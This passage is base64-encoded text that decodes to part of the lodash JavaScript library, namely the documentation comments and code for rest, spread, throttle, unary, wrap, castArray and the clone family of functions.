zYCBiaW5kaW5nIG9mIHRoZVxuICAgICAqIGNyZWF0ZWQgZnVuY3Rpb24gYW5kIGFyZ3VtZW50cyBmcm9tIGBzdGFydGAgYW5kIGJleW9uZCBwcm92aWRlZCBhc1xuICAgICAqIGFuIGFycmF5LlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIGlzIGJhc2VkIG9uIHRoZVxuICAgICAqIFtyZXN0IHBhcmFtZXRlcl0oaHR0cHM6Ly9tZG4uaW8vcmVzdF9wYXJhbWV0ZXJzKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGFwcGx5IGEgcmVzdCBwYXJhbWV0ZXIgdG8uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtzdGFydD1mdW5jLmxlbmd0aC0xXSBUaGUgc3RhcnQgcG9zaXRpb24gb2YgdGhlIHJlc3QgcGFyYW1ldGVyLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgc2F5ID0gXy5yZXN0KGZ1bmN0aW9uKHdoYXQsIG5hbWVzKSB7XG4gICAgICogICByZXR1cm4gd2hhdCArICcgJyArIF8uaW5pdGlhbChuYW1lcykuam9pbignLCAnKSArXG4gICAgICogICAgIChfLnNpemUobmFtZXMpID4gMSA/ICcsICYgJyA6ICcnKSArIF8ubGFzdChuYW1lcyk7XG4gICAgICogfSk7XG4gICAgICpcbiAgICAgKiBzYXkoJ2hlbGxvJywgJ2ZyZWQnLCAnYmFybmV5JywgJ3BlYmJsZXMnKTtcbiAgICAgKiAvLyA9PiAnaGVsbG8gZnJlZCwgYmFybmV5LCAmIHBlYmJsZXMnXG4gICAgICovXG4gICAgZnVuY3Rpb24gcmVzdChmdW5jLCBzdGFydCkge1xuICAgICAgaWYgKHR5cGVvZiBmdW5jICE9ICdmdW5jdGlvbicpIHtcbiAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcihGVU5DX0VSUk9SX1RFWFQpO1xuICAgICAgfVxuICAgICAgc3RhcnQgPSBzdGFydCA9PT0gdW5kZWZpbmVkID8gc3RhcnQgOiB0b0ludGVnZXIoc3RhcnQpO1xuICAgICAgcmV0dXJuIGJhc2VSZXN0KGZ1bmMsIHN0YXJ0KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBpbnZva2VzIGBmdW5jYCB3aXRoIHRoZSBgdGhpc2AgYmluZGluZyBvZiB0aGVcbiAgICAgKiBjcmVhdGUgZnVuY3Rpb24gYW5kIGFuIGFycmF5IG9mIGFyZ3VtZW50cyBtdWNoIGxpa2VcbiAgICAgKiBbYEZ1bmN0aW9uI2FwcGx5YF0oaHR0cDovL3d3dy5lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzcuMC8jc2VjLWZ1bmN0aW9uLnByb3RvdHlwZS5hcHBseSkuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgaXMgYmFzZWQgb24gdGhlXG4gICAgICogW3NwcmVhZCBvcGVyYXRvcl0oaHR0cHM6Ly9tZG4uaW8vc3ByZWFkX29wZXJhdG9yKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjIuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIHNwcmVhZCBhcmd1bWVudHMgb3Zlci5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3N0YXJ0PTBdIFRoZSBzdGFydCBwb3NpdGlvbiBvZiB0aGUgc3ByZWFkLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgc2F5ID0gXy5zcHJlYWQoZnVuY3Rpb24od2hvLCB3aGF0KSB7XG4gICAgICogICByZXR1cm4gd2hvICsgJyBzYXlzICcgKyB3aGF0O1xuICAgICAqIH0pO1xuICAgICAqXG4gICAgICogc2F5KFsnZnJlZCcsICdoZWxsbyddKTtcbiAgICAgKiAvLyA9PiAnZnJlZCBzYXlzIGhlbGxvJ1xuICAgICAqXG4gICAgICogdmFyIG51bWJlcnMgPSBQcm9taXNlLmFsbChbXG4gICAgICogICBQcm9taXNlLnJlc29sdmUoNDApLFxuICAgICAqICAgUHJvbWlzZS5yZXNvbHZlKDM2KVxuICAgICAqIF0pO1xuICAgICAqXG4gICAgICogbnVtYmVycy50aGVuKF8uc3ByZWFkKGZ1bmN0aW9uKHgsIHkpIHtcbiAgICAgKiAgIHJldHVybiB4ICsgeTtcbiAgICAgKiB9KSk7XG4gICAgICogLy8gPT4gYSBQcm9taXNlIG9mIDc2XG4gICAgICovXG4gICAgZnVuY3Rpb24gc3ByZWFkKGZ1bmMsIHN0YXJ0KSB7XG4gICAgICBpZiAodHlwZW9mIGZ1bmMgIT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKEZVTkNfRVJST1JfVEVYVCk7XG4gICAgICB9XG4gICAgICBzdGFydCA9IHN0YXJ0ID09IG51bGwgPyAwIDogbmF0aXZlTWF4KHRvSW50ZWdlcihzdGFydCksIDApO1xuICAgICAgcmV0dXJuIGJhc2VSZXN0KGZ1bmN0aW9uKGFyZ3MpIHtcbiAgICAgICAgdmFyIGFycmF5ID0gYXJnc1tzdGFydF0sXG4gICAgICAgICAgICBvdGhlckFyZ3MgPSBjYXN0U2xpY2UoYXJncywgMCwgc3RhcnQpO1xuXG4gICAgICAgIGlmIChhcnJheSkge1xuICAgICAgICAgIGFycmF5UHVzaChvdGhlckFyZ3MsIGFycmF5KTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gYXBwbHkoZnVuYywgdGhpcywgb3RoZXJBcmdzKTtcbiAgICAgIH0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSB0aHJvdHRsZWQgZnVuY3Rpb24gdGhhdCBvbmx5IGludm9rZXMgYGZ1bmNgIGF0IG1vc3Qgb25jZSBwZXJcbiAgICAgKiBldmVyeSBgd2FpdGAgbWlsbGlzZWNvbmRzLiBUaGUgdGhyb3R0bGVkIGZ1bmN0aW9uIGNvbWVzIHdpdGggYSBgY2FuY2VsYFxuICAgICAqIG1ldGhvZCB0byBjYW5jZWwgZGVsYXllZCBgZnVuY2AgaW52b2NhdGlvbnMgYW5kIGEgYGZsdXNoYCBtZXRob2QgdG9cbiAgICAgKiBpbW1lZGlhdGVseSBpbnZva2UgdGhlbS4gUHJvdmlkZSBgb3B0aW9uc2AgdG8gaW5kaWNhdGUgd2hldGhlciBgZnVuY2BcbiAgICAgKiBzaG91bGQgYmUgaW52b2tlZCBvbiB0aGUgbGVhZGluZyBhbmQvb3IgdHJhaWxpbmcgZWRnZSBvZiB0aGUgYHdhaXRgXG4gICAgICogdGltZW91dC4gVGhlIGBmdW5jYCBpcyBpbnZva2VkIHdpdGggdGhlIGxhc3QgYXJndW1lbnRzIHByb3ZpZGVkIHRvIHRoZVxuICAgICAqIHRocm90dGxlZCBmdW5jdGlvbi4gU3Vic2VxdWVudCBjYWxscyB0byB0aGUgdGhyb3R0bGVkIGZ1bmN0aW9uIHJldHVybiB0aGVcbiAgICAgKiByZXN1bHQgb2YgdGhlIGxhc3QgYGZ1bmNgIGludm9jYXRpb24uXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogSWYgYGxlYWRpbmdgIGFuZCBgdHJhaWxpbmdgIG9wdGlvbnMgYXJlIGB0cnVlYCwgYGZ1bmNgIGlzXG4gICAgICogaW52b2tlZCBvbiB0aGUgdHJhaWxpbmcgZWRnZSBvZiB0aGUgdGltZW91dCBvbmx5IGlmIHRoZSB0aHJvdHRsZWQgZnVuY3Rpb25cbiAgICAgKiBpcyBpbnZva2VkIG1vcmUgdGhhbiBvbmNlIGR1cmluZyB0aGUgYHdhaXRgIHRpbWVvdXQuXG4gICAgICpcbiAgICAgKiBJZiBgd2FpdGAgaXMgYDBgIGFuZCBgbGVhZGluZ2AgaXMgYGZhbHNlYCwgYGZ1bmNgIGludm9jYXRpb24gaXMgZGVmZXJyZWRcbiAgICAgKiB1bnRpbCB0byB0aGUgbmV4dCB0aWNrLCBzaW1pbGFyIHRvIGBzZXRUaW1lb3V0YCB3aXRoIGEgdGltZW91dCBvZiBgMGAuXG4gICAgICpcbiAgICAgKiBTZWUgW0RhdmlkIENvcmJhY2hvJ3MgYXJ0aWNsZV0oaHR0cHM6Ly9jc3MtdHJpY2tzLmNvbS9kZWJvdW5jaW5nLXRocm90dGxpbmctZXhwbGFpbmVkLWV4YW1wbGVzLylcbiAgICAgKiBmb3IgZGV0YWlscyBvdmVyIHRoZSBkaWZmZXJlbmNlcyBiZXR3ZWVuIGBfLnRocm90dGxlYCBhbmQgYF8uZGVib3VuY2VgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IEZ1bmN0aW9uXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gdGhyb3R0bGUuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFt3YWl0PTBdIFRoZSBudW1iZXIgb2YgbWlsbGlzZWNvbmRzIHRvIHRocm90dGxlIGludm9jYXRpb25zIHRvLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBbb3B0aW9ucz17fV0gVGhlIG9wdGlvbnMgb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7Ym9vbGVhbn0gW29wdGlvbnMubGVhZGluZz10cnVlXVxuICAgICAqICBTcGVjaWZ5IGludm9raW5nIG9uIHRoZSBsZWFkaW5nIGVkZ2Ugb2YgdGhlIHRpbWVvdXQuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbb3B0aW9ucy50cmFpbGluZz10cnVlXVxuICAgICAqICBTcGVjaWZ5IGludm9raW5nIG9uIHRoZSB0cmFpbGluZyBlZGdlIG9mIHRoZSB0aW1lb3V0LlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHRocm90dGxlZCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogLy8gQXZvaWQgZXhjZXNzaXZlbHkgdXBkYXRpbmcgdGhlIHBvc2l0aW9uIHdoaWxlIHNjcm9sbGluZy5cbiAgICAgKiBqUXVlcnkod2luZG93KS5vbignc2Nyb2xsJywgXy50aHJvdHRsZSh1cGRhdGVQb3NpdGlvbiwgMTAwKSk7XG4gICAgICpcbiAgICAgKiAvLyBJbnZva2UgYHJlbmV3VG9rZW5gIHdoZW4gdGhlIGNsaWNrIGV2ZW50IGlzIGZpcmVkLCBidXQgbm90IG1vcmUgdGhhbiBvbmNlIGV2ZXJ5IDUgbWludXRlcy5cbiAgICAgKiB2YXIgdGhyb3R0bGVkID0gXy50aHJvdHRsZShyZW5ld1Rva2VuLCAzMDAwMDAsIHsgJ3RyYWlsaW5nJzogZmFsc2UgfSk7XG4gICAgICogalF1ZXJ5KGVsZW1lbnQpLm9uKCdjbGljaycsIHRocm90dGxlZCk7XG4gICAgICpcbiAgICAgKiAvLyBDYW5jZWwgdGhlIHRyYWlsaW5nIHRocm90dGxlZCBpbnZvY2F0aW9uLlxuICAgICAqIGpRdWVyeSh3aW5kb3cpLm9uKCdwb3BzdGF0ZScsIHRocm90dGxlZC5jYW5jZWwpO1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRocm90dGxlKGZ1bmMsIHdhaXQsIG9wdGlvbnMpIHtcbiAgICAgIHZhciBsZWFkaW5nID0gdHJ1ZSxcbiAgICAgICAgICB0cmFpbGluZyA9IHRydWU7XG5cbiAgICAgIGlmICh0eXBlb2YgZnVuYyAhPSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoRlVOQ19FUlJPUl9URVhUKTtcbiAgICAgIH1cbiAgICAgIGlmIChpc09iamVjdChvcHRpb25zKSkge1xuICAgICAgICBsZWFkaW5nID0gJ2xlYWRpbmcnIGluIG9wdGlvbnMgPyAhIW9wdGlvbnMubGVhZGluZyA6IGxlYWRpbmc7XG4gICAgICAgIHRyYWlsaW5nID0gJ3RyYWlsaW5nJyBpbiBvcHRpb25zID8gISFvcHRpb25zLnRyYWlsaW5nIDogdHJhaWxpbmc7XG4gICAgICB9XG4gICAgICByZXR1cm4gZGVib3VuY2UoZnVuYywgd2FpdCwge1xuICAgICAgICAnbGVhZGluZyc6IGxlYWRpbmcsXG4gICAgICAgICdtYXhXYWl0Jzogd2FpdCxcbiAgICAgICAgJ3RyYWlsaW5nJzogdHJhaWxpbmdcbiAgICAgIH0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGFjY2VwdHMgdXAgdG8gb25lIGFyZ3VtZW50LCBpZ25vcmluZyBhbnlcbiAgICAgKiBhZGRpdGlvbmFsIGFyZ3VtZW50cy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IGZ1bmMgVGhlIGZ1bmN0aW9uIHRvIGNhcCBhcmd1bWVudHMgZm9yLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGNhcHBlZCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5tYXAoWyc2JywgJzgnLCAnMTAnXSwgXy51bmFyeShwYXJzZUludCkpO1xuICAgICAqIC8vID0+IFs2LCA4LCAxMF1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiB1bmFyeShmdW5jKSB7XG4gICAgICByZXR1cm4gYXJ5KGZ1bmMsIDEpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IHByb3ZpZGVzIGB2YWx1ZWAgdG8gYHdyYXBwZXJgIGFzIGl0cyBmaXJzdFxuICAgICAqIGFyZ3VtZW50LiBBbnkgYWRkaXRpb25hbCBhcmd1bWVudHMgcHJvdmlkZWQgdG8gdGhlIGZ1bmN0aW9uIGFyZSBhcHBlbmRlZFxuICAgICAqIHRvIHRob3NlIHByb3ZpZGVkIHRvIHRoZSBgd3JhcHBlcmAuIFRoZSB3cmFwcGVyIGlzIGludm9rZWQgd2l0aCB0aGUgYHRoaXNgXG4gICAgICogYmluZGluZyBvZiB0aGUgY3JlYXRlZCBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBjYXRlZ29yeSBGdW5jdGlvblxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHdyYXAuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW3dyYXBwZXI9aWRlbnRpdHldIFRoZSB3cmFwcGVyIGZ1bmN0aW9uLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgcCA9IF8ud3JhcChfLmVzY2FwZSwgZnVuY3Rpb24oZnVuYywgdGV4dCkge1xuICAgICAqICAgcmV0dXJuICc8cD4nICsgZnVuYyh0ZXh0KSArICc8L3A+JztcbiAgICAgKiB9KTtcbiAgICAgKlxuICAgICAqIHAoJ2ZyZWQsIGJhcm5leSwgJiBwZWJibGVzJyk7XG4gICAgICogLy8gPT4gJzxwPmZyZWQsIGJhcm5leSwgJmFtcDsgcGViYmxlczwvcD4nXG4gICAgICovXG4gICAgZnVuY3Rpb24gd3JhcCh2YWx1ZSwgd3JhcHBlcikge1xuICAgICAgcmV0dXJuIHBhcnRpYWwoY2FzdEZ1bmN0aW9uKHdyYXBwZXIpLCB2YWx1ZSk7XG4gICAgfVxuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogQ2FzdHMgYHZhbHVlYCBhcyBhbiBhcnJheSBpZiBpdCdzIG5vdCBvbmUuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC40LjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGluc3BlY3QuXG4gICAgICogQHJldHVybnMge0FycmF5fSBSZXR1cm5zIHRoZSBjYXN0IGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmNhc3RBcnJheSgxKTtcbiAgICAgKiAvLyA9PiBbMV1cbiAgICAgKlxuICAgICAqIF8uY2FzdEFycmF5KHsgJ2EnOiAxIH0pO1xuICAgICAqIC8vID0+IFt7ICdhJzogMSB9XVxuICAgICAqXG4gICAgICogXy5jYXN0QXJyYXkoJ2FiYycpO1xuICAgICAqIC8vID0+IFsnYWJjJ11cbiAgICAgKlxuICAgICAqIF8uY2FzdEFycmF5KG51bGwpO1xuICAgICAqIC8vID0+IFtudWxsXVxuICAgICAqXG4gICAgICogXy5jYXN0QXJyYXkodW5kZWZpbmVkKTtcbiAgICAgKiAvLyA9PiBbdW5kZWZpbmVkXVxuICAgICAqXG4gICAgICogXy5jYXN0QXJyYXkoKTtcbiAgICAgKiAvLyA9PiBbXVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gWzEsIDIsIDNdO1xuICAgICAqIGNvbnNvbGUubG9nKF8uY2FzdEFycmF5KGFycmF5KSA9PT0gYXJyYXkpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjYXN0QXJyYXkoKSB7XG4gICAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgdmFyIHZhbHVlID0gYXJndW1lbnRzWzBdO1xuICAgICAgcmV0dXJuIGlzQXJyYXkodmFsdWUpID8gdmFsdWUgOiBbdmFsdWVdO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBzaGFsbG93IGNsb25lIG9mIGB2YWx1ZWAuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgaXMgbG9vc2VseSBiYXNlZCBvbiB0aGVcbiAgICAgKiBbc3RydWN0dXJlZCBjbG9uZSBhbGdvcml0aG1dKGh0dHBzOi8vbWRuLmlvL1N0cnVjdHVyZWRfY2xvbmVfYWxnb3JpdGhtKVxuICAgICAqIGFuZCBzdXBwb3J0cyBjbG9uaW5nIGFycmF5cywgYXJyYXkgYnVmZmVycywgYm9vbGVhbnMsIGRhdGUgb2JqZWN0cywgbWFwcyxcbiAgICAgKiBudW1iZXJzLCBgT2JqZWN0YCBvYmplY3RzLCByZWdleGVzLCBzZXRzLCBzdHJpbmdzLCBzeW1ib2xzLCBhbmQgdHlwZWRcbiAgICAgKiBhcnJheXMuIFRoZSBvd24gZW51bWVyYWJsZSBwcm9wZXJ0aWVzIG9mIGBhcmd1bWVudHNgIG9iamVjdHMgYXJlIGNsb25lZFxuICAgICAqIGFzIHBsYWluIG9iamVjdHMuIEFuIGVtcHR5IG9iamVjdCBpcyByZXR1cm5lZCBmb3IgdW5jbG9uZWFibGUgdmFsdWVzIHN1Y2hcbiAgICAgKiBhcyBlcnJvciBvYmplY3RzLCBmdW5jdGlvbnMsIERPTSBub2RlcywgYW5kIFdlYWtNYXBzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjbG9uZS5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgY2xvbmVkIHZhbHVlLlxuICAgICAqIEBzZWUgXy5jbG9uZURlZXBcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbeyAnYSc6IDEgfSwgeyAnYic6IDIgfV07XG4gICAgICpcbiAgICAgKiB2YXIgc2hhbGxvdyA9IF8uY2xvbmUob2JqZWN0cyk7XG4gICAgICogY29uc29sZS5sb2coc2hhbGxvd1swXSA9PT0gb2JqZWN0c1swXSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNsb25lKHZhbHVlKSB7XG4gICAgICByZXR1cm4gYmFzZUNsb25lKHZhbHVlLCBDTE9ORV9TWU1CT0xTX0ZMQUcpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uY2xvbmVgIGV4Y2VwdCB0aGF0IGl0IGFjY2VwdHMgYGN1c3RvbWl6ZXJgIHdoaWNoXG4gICAgICogaXMgaW52b2tlZCB0byBwcm9kdWNlIHRoZSBjbG9uZWQgdmFsdWUuIElmIGBjdXN0b21pemVyYCByZXR1cm5zIGB1bmRlZmluZWRgLFxuICAgICAqIGNsb25pbmcgaXMgaGFuZGxlZCBieSB0aGUgbWV0aG9kIGluc3RlYWQuIFRoZSBgY3VzdG9taXplcmAgaXMgaW52b2tlZCB3aXRoXG4gICAgICogdXAgdG8gZm91ciBhcmd1bWVudHM7ICh2YWx1ZSBbLCBpbmRleHxrZXksIG9iamVjdCwgc3RhY2tdKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2xvbmUuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2N1c3RvbWl6ZXJdIFRoZSBmdW5jdGlvbiB0byBjdXN0b21pemUgY2xvbmluZy5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgY2xvbmVkIHZhbHVlLlxuICAgICAqIEBzZWUgXy5jbG9uZURlZXBXaXRoXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIGN1c3RvbWl6ZXIodmFsdWUpIHtcbiAgICAgKiAgIGlmIChfLmlzRWxlbWVudCh2YWx1ZSkpIHtcbiAgICAgKiAgICAgcmV0dXJuIHZhbHVlLmNsb25lTm9kZShmYWxzZSk7XG4gICAgICogICB9XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIGVsID0gXy5jbG9uZVdpdGgoZG9jdW1lbnQuYm9keSwgY3VzdG9taXplcik7XG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhlbCA9PT0gZG9jdW1lbnQuYm9keSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKiBjb25zb2xlLmxvZyhlbC5ub2RlTmFtZSk7XG4gICAgICogLy8gPT4gJ0JPRFknXG4gICAgICogY29uc29sZS5sb2coZWwuY2hpbGROb2Rlcy5sZW5ndGgpO1xuICAgICAqIC8vID0+IDBcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjbG9uZVdpdGgodmFsdWUsIGN1c3RvbWl6ZXIpIHtcbiAgICAgIGN1c3RvbWl6ZXIgPSB0eXBlb2YgY3VzdG9taXplciA9PSAnZnVuY3Rpb24nID8gY3VzdG9taXplciA6IHVuZGVmaW5lZDtcbiAgICAgIHJldHVybiBiYXNlQ2xvbmUodmFsdWUsIENMT05FX1NZTUJPTFNfRkxBRywgY3VzdG9taXplcik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5jbG9uZWAgZXhjZXB0IHRoYXQgaXQgcmVjdXJzaXZlbHkgY2xvbmVzIGB2YWx1ZWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMS4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHJlY3Vyc2l2ZWx5IGNsb25lLlxuICAgICAqIEByZXR1cm5zIHsqfSBSZXR1cm5zIHRoZSBkZWVwIGNsb25lZCB2YWx1ZS5cbiAgICAgKiBAc2VlIF8uY2xvbmVcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbeyAnYSc6IDEgfSwgeyAnYic6IDIgfV07XG4gICAgICpcbiAgICAgKiB2YXIgZGVlcCA9IF8uY2xvbmVEZWVwKG9iamVjdHMpO1xuICAgICAqIGNvbnNvbGUubG9nKGRlZXBbMF0gPT09IG9iamVjdHNbMF0pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gY2xvbmVEZWVwKHZhbHVlKSB7XG4gICAgICByZXR1cm4gYmFzZUNsb25lKHZhbHVlLCBDTE9ORV9ERUVQX0ZMQUcgfCBDTE9ORV9TWU1CT0xTX0ZMQUcpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFRoaXMgbWV0aG9kIGlzIGxpa2UgYF8uY2xvbmVXaXRoYCBleGNlcHQgdGhhdCBpdCByZWN1cnNpdmVseSBjbG9uZXMgYHZhbHVlYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcmVjdXJzaXZlbHkgY2xvbmUuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2N1c3RvbWl6ZXJdIFRoZSBmdW5jdGlvbiB0byBjdXN0b21pemUgY2xvbmluZy5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgZGVlcCBjbG9uZWQgdmFsdWUuXG4gICAgICogQHNlZSBfLmNsb25lV2l0aFxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBjdXN0b21pemVyKHZhbHVlKSB7XG4gICAgICogICBpZiAoXy5pc0VsZW1lbnQodmFsdWUpKSB7XG4gICAgICogICAgIHJldHVybiB2YWx1ZS5jbG9uZU5vZGUodHJ1ZSk7XG4gICAgICogICB9XG4gICAgICogfVxuICAgICAqXG4gICAgICogdmFyIGVsID0gXy5jbG9uZURlZXBXaXRoKGRvY3VtZW50LmJvZHksIGN1c3RvbWl6ZXIpO1xuICAgICAqXG4gICAgICogY29uc29sZS5sb2coZWwgPT09IGRvY3VtZW50LmJvZHkpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICogY29uc29sZS5sb2coZWwubm9kZU5hbWUpO1xuICAgICAqIC8vID0+ICdCT0RZJ1xuICAgICAqIGNvbnNvbGUubG9nKGVsLmNoaWxkTm9kZXMubGVuZ3RoKTtcbiAgICAgKiAvLyA9PiAyMFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNsb25lRGVlcFdpdGgodmFsdWUsIGN1c3RvbWl6ZXIpIHtcbiAgICAgIGN1c3RvbWl6ZXIgPSB0eXBlb2YgY3VzdG9taXplciA9PSAnZnVuY3Rpb24nID8gY3VzdG9taXplciA6IHVuZGVmaW5lZDtcbiAgICAgIHJldHVybiBiYXNlQ2xvbmUodmFsdWUsIENMT05FX0RFRVBfRkxBRyB8IENMT05FX1NZTUJPTFNfRkxBRywgY3VzdG9taXplcik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGBvYmplY3RgIGNvbmZvcm1zIHRvIGBzb3VyY2VgIGJ5IGludm9raW5nIHRoZSBwcmVkaWNhdGVcbiAgICAgKiBwcm9wZXJ0aWVzIG9mIGBzb3VyY2VgIHdpdGggdGhlIGNvcnJlc3BvbmRpbmcgcHJvcGVydHkgdmFsdWVzIG9mIGBvYmplY3RgLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIGlzIGVxdWl2YWxlbnQgdG8gYF